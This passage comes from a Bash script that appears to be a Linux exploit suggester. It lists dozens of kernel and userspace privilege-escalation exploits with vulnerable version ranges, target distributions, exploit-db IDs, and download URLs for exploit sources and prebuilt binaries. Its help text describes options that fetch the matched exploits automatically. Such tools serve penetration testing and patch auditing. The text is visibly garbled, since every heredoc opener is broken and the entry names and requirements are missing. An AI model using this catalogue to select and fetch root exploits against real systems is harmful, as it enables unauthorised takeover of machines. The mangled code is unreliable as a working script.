https://web.archive.org/web/20111103042904/http://tarantula.by.ru/localroot/2.6.x/h00lyshit\nexploit-db: 2013\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.17,ver<=2.6.24\nTags:\nRank: 1\nexploit-db: 5092\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.23,ver<=2.6.24\nTags:\nRank: 1\nexploit-db: 5093\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.11,ver<=2.6.22\nTags:\nRank: 1\nexploit-db: 6851\nComments: world-writable sgid directory and shell that does not drop sgid privs upon exec (ash/sash) are required\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.25,ver<=2.6.29\nTags:\nRank: 1\nexploit-db: 8369\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.30\nTags: ubuntu=7.10,RHEL=4,fedora=4|5|6|7|8|9|10|11\nRank: 1\nexploit-db: 9479\nComments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.30\nTags: ubuntu=9.04\nRank: 1\nanalysis-url: https://xorl.wordpress.com/2009/07/16/cve-2009-1895-linux-kernel-per_clear_on_setid-personality-bypass/\nsrc-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9435.tgz\nexploit-db: 9435\nComments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.30\nTags: \nRank: 1\nsrc-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9436.tgz\nexploit-db: 9436\nComments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.30\nTags: \nRank: 1\nsrc-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9641.tar.gz\nexploit-db: 9641\nComments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.30\nTags: ubuntu=8.10,RHEL=4|5\nRank: 1\nexploit-db: 9545\nComments: /proc/sys/vm/mmap_min_addr needs to equal 0\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.1,ver<=2.6.19\nTags: debian=4\nRank: 1\nsrc-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9574.tgz\nexploit-db: 9574\nanalysis-url: https://blog.cr0.org/2009/08/cve-2009-2698-udpsendmsg-vulnerability.html\nauthor: spender\nComments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.1,ver<=2.6.19,x86\nTags: debian=4\nRank: 1\nexploit-db: 9575\nanalysis-url: https://blog.cr0.org/2009/08/cve-2009-2698-udpsendmsg-vulnerability.html\nauthor: andi\nComments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.1,ver<=2.6.19,x86\nTags: debian=4\nRank: 1\nsrc-url: https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/raw/master/2009/CVE-2009-2698/katon.c\nanalysis-url: https://blog.cr0.org/2009/08/cve-2009-2698-udpsendmsg-vulnerability.html\nauthor: VxHell Labs\nComments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.1,ver<=2.6.19,x86\nTags: fedora=4|5|6,RHEL=4\nRank: 1\nanalysis-url: https://blog.cr0.org/2009/08/cve-2009-2698-udpsendmsg-vulnerability.html\nexploit-db: 9542\nauthor: p0c73n1\nComments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.31\nTags:\nRank: 1\nexploit-db: 33321\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.31\nTags:\nRank: 1\nexploit-db: 33322\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.31\nTags:\nRank: 1\nexploit-db: 10018\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.26,ver<=2.6.34\nTags: debian=6.0{kernel:2.6.(32|33|34|35)-(1|2|trunk)-amd64},ubuntu=(10.04|10.10){kernel:2.6.(32|35)-(19|21|24)-server}\nRank: 1\nbin-url: https://web.archive.org/web/20111103042904/http://tarantula.by.ru/localroot/2.6.x/kmod2\nbin-url: https://web.archive.org/web/20111103042904/http://tarantula.by.ru/localroot/2.6.x/ptrace-kmod\nbin-url: https://web.archive.org/web/20160602192641/https://www.kernel-exploits.com/media/ptrace_kmod2-64\nexploit-db: 15023\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.18,ver<=2.6.34\nTags: ubuntu=9.10\nRank: 1\nanalysis-url: https://jon.oberheide.org/blog/2010/04/10/reiserfs-reiserfs_priv-vulnerability/\nsrc-url: https://jon.oberheide.org/files/team-edward.py\nexploit-db: 12130\ncomments: Requires a ReiserFS filesystem mounted with extended attributes\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.18,ver<=2.6.36\nTags: ubuntu=10.04{kernel:2.6.32-24-generic}\nRank: 1\nbin-url: https://web.archive.org/web/20160602192641/https://www.kernel-exploits.com/media/can_bcm\nexploit-db: 14814\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.30,ver<2.6.37\nTags: debian=6.0{kernel:2.6.(31|32|34|35)-(1|trunk)-amd64},ubuntu=10.10|9.10,fedora=13{kernel:2.6.33.3-85.fc13.i686.PAE},ubuntu=10.04{kernel:2.6.32-(21|24)-generic}\nRank: 1\nanalysis-url: http://www.securityfocus.com/archive/1/514379\nsrc-url: http://web.archive.org/web/20101020044048/http://www.vsecurity.com/download/tools/linux-rds-exploit.c\nbin-url: https://web.archive.org/web/20160602192641/https://www.kernel-exploits.com/media/rds\nbin-url: https://web.archive.org/web/20160602192641/https://www.kernel-exploits.com/media/rds64\nexploit-db: 15285\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.36\nTags: ubuntu=(10.04|9.10){kernel:2.6.(31|32)-(14|21)-server}\nRank: 1\nbin-url: http://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/half-nelson3\nexploit-db: 17787\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.34,ver<=2.6.36,x86\nTags: ubuntu=10.10\nRank: 1\nexploit-db: 15916\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.34,ver<=2.6.36\nTags: ubuntu=10.10\nRank: 1\nexploit-db: 15944\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.36\nTags:\nRank: 1\nexploit-db: 15774\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.36\nTags: ubuntu=10.04\nRank: 1\nexploit-db: 15150\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.33\nTags: RHEL=5\nRank: 1\nexploit-db: 15024\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=3.0.0,ver<=3.1.0\nTags: ubuntu=(10.04|11.10){kernel:3.0.0-12-(generic|server)}\nRank: 1\nanalysis-url: https://git.zx2c4.com/CVE-2012-0056/about/\nsrc-url: https://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c\nbin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/memodipper\nbin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/memodipper64\nexploit-db: 18411\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.36\nTags: ubuntu=(9.10|10.10){kernel:2.6.(31|35)-(14|19)-(server|generic)},ubuntu=10.04{kernel:2.6.32-(21|24)-server}\nRank: 1\nsrc-url: http://vulnfactory.org/exploits/full-nelson.c\nbin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/full-nelson\nbin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/full-nelson64\nexploit-db: 15704\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.32,ver<3.8.9,x86_64\nTags: RHEL=6,ubuntu=12.04{kernel:3.2.0-(23|29)-generic},fedora=16{kernel:3.1.0-7.fc16.x86_64},fedora=17{kernel:3.3.4-5.fc17.x86_64},debian=7{kernel:3.2.0-4-amd64}\nRank: 1\nanalysis-url: http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/\nbin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/perf_swevent\nbin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/perf_swevent64\nexploit-db: 26131\nauthor: Andrea 'sorbo' Bittau\nComments: No SMEP/SMAP bypass\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.32,ver<3.8.9,x86_64\nTags: ubuntu=12.04{kernel:3.(2|5).0-(23|29)-generic}\nRank: 1\nanalysis-url: http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/\nsrc-url: https://cyseclabs.com/exploits/vnik_v1.c\nexploit-db: 33589\nauthor: Vitaly 'vnik' Nikolenko\nComments: No SMEP/SMAP bypass\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.18,ver<3.7.6\nTags: \nRank: 1\nexploit-db: 27297\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=3.0.1,ver<3.8.9\nTags: \nRank: 1\nanalysis-url: http://www.openwall.com/lists/oss-security/2013/04/29/1\nexploit-db: 25450\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.32,ver<3.8.9\nTags: RHEL=6\nRank: 1\nanalysis-url: http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/\nexploit-db: 25444\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=3.4.0,ver<=3.13.1,CONFIG_X86_X32=y\nTags: ubuntu=13.10\nRank: 1\nanalysis-url: http://blog.includesecurity.com/2014/03/exploit-CVE-2014-0038-x32-recvmmsg-kernel-vulnerablity.html\nbin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/timeoutpwn64\nexploit-db: 31346\nComments: CONFIG_X86_X32 needs to be enabled\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=3.4.0,ver<=3.13.1,CONFIG_X86_X32=y\nTags: ubuntu=(13.04|13.10){kernel:3.(8|11).0-(12|15|19)-generic}\nRank: 1\nanalysis-url: http://blog.includesecurity.com/2014/03/exploit-CVE-2014-0038-x32-recvmmsg-kernel-vulnerablity.html\nexploit-db: 31347\nComments: CONFIG_X86_X32 needs to be enabled\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.31,ver<=3.14.3\nTags:\nRank: 1\nanalysis-url: http://blog.includesecurity.com/2014/06/exploit-walkthrough-cve-2014-0196-pty-kernel-race-condition.html\nexploit-db: 33516\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=3.0.1,ver<=3.14\nTags: \nRank: 0\nanalysis-url: https://cyseclabs.com/page?n=02012016\nexploit-db: 32926\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=3.0.1,ver<=3.13\nTags: ubuntu=12.04\nRank: 1\nanalysis-url: http://www.openwall.com/lists/oss-security/2014/06/10/4\nexploit-db: 33824\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=3.0.1,ver<=3.8\nTags: ubuntu=12.04\nRank: 1\nanalysis-url: http://www.openwall.com/lists/oss-security/2014/07/08/16\nexploit-db: 34134\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=3.2,ver<=3.15.6\nTags: \nRank: 1\nanalysis-url: https://cyseclabs.com/page?n=01102015\nexploit-db: 36267\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=3.0.1,ver<=3.16.1\nTags: \nRank: 1\nexploit-db: 34923\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=3.0.1,ver<3.17.5,x86_64\nTags: RHEL<=7,fedora=20\nRank: 1\nanalysis-url: http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/\nsrc-url: http://site.pi3.com.pl/exp/p_cve-2014-9322.tar.gz\nexploit-db:\nauthor: Rafal 'n3rgal' Wojtczuk & Adam 'pi3' Zabrocki\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=3.13,ver<4.1.6,x86_64\nTags: \nRank: 1\nanalysis-url: http://www.openwall.com/lists/oss-security/2015/08/04/8\nexploit-db: 37722\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=3.13.0,ver<=3.19.0\nTags: ubuntu=(12.04|14.04){kernel:3.13.0-(2|3|4|5)*-generic},ubuntu=(14.10|15.04){kernel:3.(13|16).0-*-generic}\nRank: 1\nanalysis-url: http://seclists.org/oss-sec/2015/q2/717\nbin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/ofs_32\nbin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/ofs_64\nexploit-db: 37292\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=3.0.0,ver<=4.3.3\nTags:\nRank: 1\nanalysis-url: http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/\nexploit-db: 39230\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=3.0.0,ver<=4.3.3\nTags: ubuntu=(14.04|15.10){kernel:4.2.0-(18|19|20|21|22)-generic}\nRank: 1\nanalysis-url: http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/\nexploit-db: 39166\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=3.10,ver<4.4.1\nTags:\nRank: 0\nanalysis-url: http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/\nexploit-db: 40003\nComments: Exploit takes about ~30 minutes to run. Exploit is not reliable, see: https://cyseclabs.com/blog/cve-2016-0728-poc-not-working\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=3.0.0,ver<=4.4.8\nTags: ubuntu=14.04,fedora=22\nRank: 1\nanalysis-url: https://xairy.github.io/blog/2016/cve-2016-2384\nsrc-url: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-2384/poc.c\nexploit-db: 41999\nComments: Requires ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user\nauthor: Andrey 'xairy' Konovalov\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=4.4.0,ver<=4.4.0,cmd:grep -qi ip_tables /proc/modules\nTags: ubuntu=16.04{kernel:4.4.0-21-generic}\nRank: 1\nsrc-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/40053.zip\nComments: ip_tables.ko needs to be loaded\nexploit-db: 40049\nauthor: Vitaly 'vnik' Nikolenko\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=4.4,ver<4.5.5,CONFIG_BPF_SYSCALL=y,sysctl:kernel.unprivileged_bpf_disabled!=1\nTags: ubuntu=16.04{kernel:4.4.0-21-generic}\nRank: 1\nanalysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=808\nsrc-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/39772.zip\nComments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1\nexploit-db: 40759\nauthor: Jann Horn\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.22,ver<=4.8.3\nTags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},ubuntu=16.04|14.04|12.04\nRank: 4\nanalysis-url: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails\nComments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh\nexploit-db: 40611\nauthor: Phil Oester\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.22,ver<=4.8.3\nTags: debian=7|8,RHEL=5|6|7,ubuntu=14.04|12.04,ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}\nRank: 4\nanalysis-url: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails\next-url: https://www.exploit-db.com/download/40847\nComments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh\nexploit-db: 40839\nauthor: FireFart (author of exploit at EDB 40839); Gabriele Bonacini (author of exploit at 'ext-url')\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=4.4.0,ver<4.9,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1\nTags: ubuntu=(14.04|16.04){kernel:4.4.0-(21|22|24|28|31|34|36|38|42|43|45|47|51)-generic}\nRank: 1\nanalysis-url: http://www.openwall.com/lists/oss-security/2016/12/06/1\nComments: CAP_NET_RAW capability is needed OR CONFIG_USER_NS=y needs to be enabled\nbin-url: https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/exploits/CVE-2016-8655/chocobo_root\nexploit-db: 40871\nauthor: rebel\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=3.11,ver<4.8.14,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1\nTags:\nRank: 1\nanalysis-url: https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793\nsrc-url: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-9793/poc.c\nComments: CAP_NET_ADMIN caps OR CONFIG_USER_NS=y needed. No SMEP/SMAP/KASLR bypass included. Tested in QEMU only\nexploit-db: 41995\nauthor: Andrey 'xairy' Konovalov\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.18,ver<=4.9.11,CONFIG_IP_DCCP=[my]\nTags: ubuntu=(14.04|16.04){kernel:4.4.0-62-generic}\nRank: 1\nanalysis-url: http://www.openwall.com/lists/oss-security/2017/02/22/3\nComments: Requires Kernel be built with CONFIG_IP_DCCP enabled. Includes partial SMEP/SMAP bypass\nexploit-db: 41458\nauthor: Andrey 'xairy' Konovalov\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=3.2,ver<=4.10.6,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1\nTags: ubuntu=16.04{kernel:4.8.0-(34|36|39|41|42|44|45)-generic}\nRank: 1\nanalysis-url: https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html\nsrc-url: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-7308/poc.c\next-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-7308/poc.c\nComments: CAP_NET_RAW cap or CONFIG_USER_NS=y needed. Modified version at 'ext-url' adds support for additional kernels\nbin-url: https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/exploits/cve-2017-7308/exploit\nexploit-db: 41994\nauthor: Andrey 'xairy' Konovalov (orginal exploit author); Brendan Coles (author of exploit update at 'ext-url')\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=4.4,ver<=4.14.8,CONFIG_BPF_SYSCALL=y,sysctl:kernel.unprivileged_bpf_disabled!=1\nTags: debian=9.0{kernel:4.9.0-3-amd64},fedora=25|26|27,ubuntu=14.04{kernel:4.4.0-89-generic},ubuntu=(16.04|17.04){kernel:4.(8|10).0-(19|28|45)-generic}\nRank: 5\nanalysis-url: https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html\nComments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1\nbin-url: https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/exploits/cve-2017-16995/exploit.out\nexploit-db: 45010\nauthor: Rick Larabee\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=4.4,ver<=4.13,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1\nTags: ubuntu=14.04{kernel:4.4.0-*},ubuntu=16.04{kernel:4.8.0-*}\nRank: 1\nanalysis-url: http://www.openwall.com/lists/oss-security/2017/08/13/1\nsrc-url: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c\next-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-1000112/poc.c\nComments: CAP_NET_ADMIN cap or CONFIG_USER_NS=y needed. SMEP/KASLR bypass included. Modified version at 'ext-url' adds support for additional distros/kernels\nbin-url: https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/exploits/cve-2017-1000112/exploit.out\nexploit-db:\nauthor: Andrey 'xairy' Konovalov (orginal exploit author); Brendan Coles (author of exploit update at 'ext-url')\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=3.2,ver<=4.13,x86_64\nTags: RHEL=6,RHEL=7{kernel:3.10.0-514.21.2|3.10.0-514.26.1}\nRank: 1\nanalysis-url: https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.txt\nsrc-url: https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.c\nexploit-db: 42887\nauthor: Qualys\nComments:\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=4.4,ver<=4.14.13,cmd:grep -qi rds /proc/modules,x86_64\nTags: ubuntu=16.04{kernel:4.4.0|4.8.0}\nRank: 1\nsrc-url: https://gist.githubusercontent.com/wbowling/9d32492bd96d9e7c3bf52e23a0ac30a4/raw/959325819c78248a6437102bb289bb8578a135cd/cve-2018-5333-poc.c\next-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2018-5333/cve-2018-5333.c\nComments: rds.ko kernel module needs to be loaded. Modified version at 'ext-url' adds support for additional targets and bypassing KASLR.\nauthor: wbowling (orginal exploit author); bcoles (author of exploit update at 'ext-url')\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=4.15,ver<=4.19.2,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1,cmd:[ -u /usr/bin/newuidmap ],cmd:[ -u /usr/bin/newgidmap ]\nTags: ubuntu=18.04{kernel:4.15.0-20-generic},fedora=28{kernel:4.16.3-301.fc28}\nRank: 1\nanalysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712\nsrc-url: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45886.zip\nexploit-db: 45886\nauthor: Jann Horn\nComments: CONFIG_USER_NS needs to be enabled\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=4,ver<5.1.17,sysctl:kernel.yama.ptrace_scope==0,x86_64\nTags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},debian=10{kernel:4.19.0-*},fedora=30{kernel:5.0.9-*}\nRank: 1\nanalysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903\nsrc-url: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47133.zip\next-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c\nComments: Requires an active PolKit agent.\nexploit-db: 47133\nexploit-db: 47163\nauthor: Jann Horn (orginal exploit author); bcoles (author of exploit update at 'ext-url')\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=3,ver<5.0.19,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1,CONFIG_XFRM=y\nTags:\nRank: 1\nanalysis-url: https://duasynt.com/blog/ubuntu-centos-redhat-privesc\nbin-url: https://github.com/duasynt/xfrm_poc/raw/master/lucky0\nComments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled\nauthor: Vitaly 'vnik' Nikolenko\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=5.7,ver<5.12,CONFIG_BPF_SYSCALL=y,sysctl:kernel.unprivileged_bpf_disabled!=1\nTags: ubuntu=20.04{kernel:5.8.0-(25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52)-*},ubuntu=21.04{kernel:5.11.0-16-*}\nRank: 5\nanalysis-url: https://www.graplsecurity.com/post/kernel-pwning-with-ebpf-a-love-story\nsrc-url: https://codeload.github.com/chompie1337/Linux_LPE_eBPF_CVE-2021-3490/zip/main\nComments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1\nauthor: chompie1337\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=2.6.19,ver<=5.12-rc6\nTags: ubuntu=20.04{kernel:5.8.0-*}\nRank: 1\nanalysis-url: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html\nsrc-url: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c\next-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c\nComments: ip_tables kernel module must be loaded\nexploit-db: 50135\nauthor: theflow (orginal exploit author); bcoles (author of exploit update at 'ext-url')\nEOF\n)\n\nEXPLOITS[((n++))]=$(cat <=5.8,ver<=5.16.11\nTags: ubuntu=(20.04|21.04),debian=11\nRank: 1\nanalysis-url: https://dirtypipe.cm4all.com/\nsrc-url: https://haxx.in/files/dirtypipez.c\nexploit-db: 50808\nauthor: blasty (original exploit author: Max Kellermann)\nEOF\n)\n\n############ USERSPACE EXPLOITS ###########################\nn=0\n\nEXPLOITS_USERSPACE[((n++))]=$(cat <=1.8.0,ver<=1.8.3\nTags: fedora=16 \nRank: 1\nanalysis-url: http://seclists.org/fulldisclosure/2012/Jan/att-590/advisory_sudo.txt\nexploit-db: 18436\nEOF\n)\n\nEXPLOITS_USERSPACE[((n++))]=$(cat <=2.13,ver<=2.17,cmd:grep -qi apport /proc/sys/kernel/core_pattern\nTags: ubuntu=14.04\nRank: 1\nanalysis-url: http://openwall.com/lists/oss-security/2015/04/14/4\nsrc-url: https://gist.githubusercontent.com/taviso/0f02c255c13c5c113406/raw/eafac78dce51329b03bea7167f1271718bee4dcc/newpid.c\nexploit-db: 36746\nEOF\n)\n\nEXPLOITS_USERSPACE[((n++))]=$(cat <=2.13,ver<=2.17,cmd:grep -qi apport /proc/sys/kernel/core_pattern\nTags: ubuntu=14.04.2\nRank: 1\nanalysis-url: http://openwall.com/lists/oss-security/2015/04/14/4\nexploit-db: 36782\nEOF\n)\n\nEXPLOITS_USERSPACE[((n++))]=$(cat <=6.8,ver<=6.9\nTags:\nRank: 1\nanalysis-url: http://www.openwall.com/lists/oss-security/2017/01/26/2\nexploit-db: 41173\nauthor: Federico Bento\nComments: Needs admin interaction (root user needs to login via ssh to trigger exploitation)\nEOF\n)\n\nEXPLOITS_USERSPACE[((n++))]=$(cat <=4.87,ver<=4.91\nTags:\nRank: 1\nanalysis-url: https://www.qualys.com/2019/06/05/cve-2019-10149/return-wizard-rce-exim.txt\nexploit-db: 46996\nauthor: raptor\nEOF\n)\n\nEXPLOITS_USERSPACE[((n++))]=$(cat <=4.15\nenabled: cmd:grep -Eqi '\\spti' /proc/cpuinfo\nanalysis-url: https://github.com/mzet-/les-res/blob/master/features/pti.md\nEOF\n)\n\nFEATURES[((n++))]=$(cat <=3.14\nanalysis-url: https://github.com/mzet-/les-res/blob/master/features/stackprotector-strong.md\nEOF\n)\n\nFEATURES[((n++))]=$(cat <=2.6.37\nenabled: sysctl:kernel.dmesg_restrict!=0\nanalysis-url: https://github.com/mzet-/les-res/blob/master/features/dmesg_restrict.md\nEOF\n)\n\nFEATURES[((n++))]=$(cat <=3.0\nenabled: cmd:grep -qi smep /proc/cpuinfo\nanalysis-url: https://github.com/mzet-/les-res/blob/master/features/smep.md\nEOF\n)\n\nFEATURES[((n++))]=$(cat <=3.7\nenabled: cmd:grep -qi smap /proc/cpuinfo\nanalysis-url: https://github.com/mzet-/les-res/blob/master/features/smap.md\nEOF\n)\n\nFEATURES[((n++))]=$(cat < - provide kernel version\"\n echo \" -u | --uname - provide 'uname -a' string\"\n echo \" --skip-more-checks - do not perform additional checks (kernel config, sysctl) to determine if exploit is applicable\"\n echo \" --skip-pkg-versions - skip checking for exact userspace package version (helps to avoid false negatives)\"\n echo \" -p | --pkglist-file - provide file with 'dpkg -l' or 'rpm -qa' command output\"\n echo \" --cvelist-file - provide file with Linux kernel CVEs list\"\n echo \" --checksec - list security related features for your HW/kernel\"\n echo \" -s | --fetch-sources - automatically downloads source for matched exploit\"\n echo \" -b | --fetch-binaries - automatically downloads binary for matched exploit if available\"\n echo \" -f | --full - show full info about matched exploit\"\n echo \" -g | --short - show shorten info about matched exploit\"\n echo \" --kernelspace-only - show only kernel vulnerabilities\"\n echo \" --userspace-only - show only userspace vulnerabilities\"\n echo \" -d | --show-dos - show also DoSes in results\"\n}\n\nexitWithErrMsg() {\n echo \"$1\" 1>&2\n exit 1\n}\n\n# extracts all information from output of 'uname -a' command\nparseUname() {\n local uname=$1\n\n KERNEL=$(echo \"$uname\" | awk '{print $3}' | cut -d '-' -f 1)\n KERNEL_ALL=$(echo \"$uname\" | awk '{print $3}')\n ARCH=$(echo \"$uname\" | awk '{print 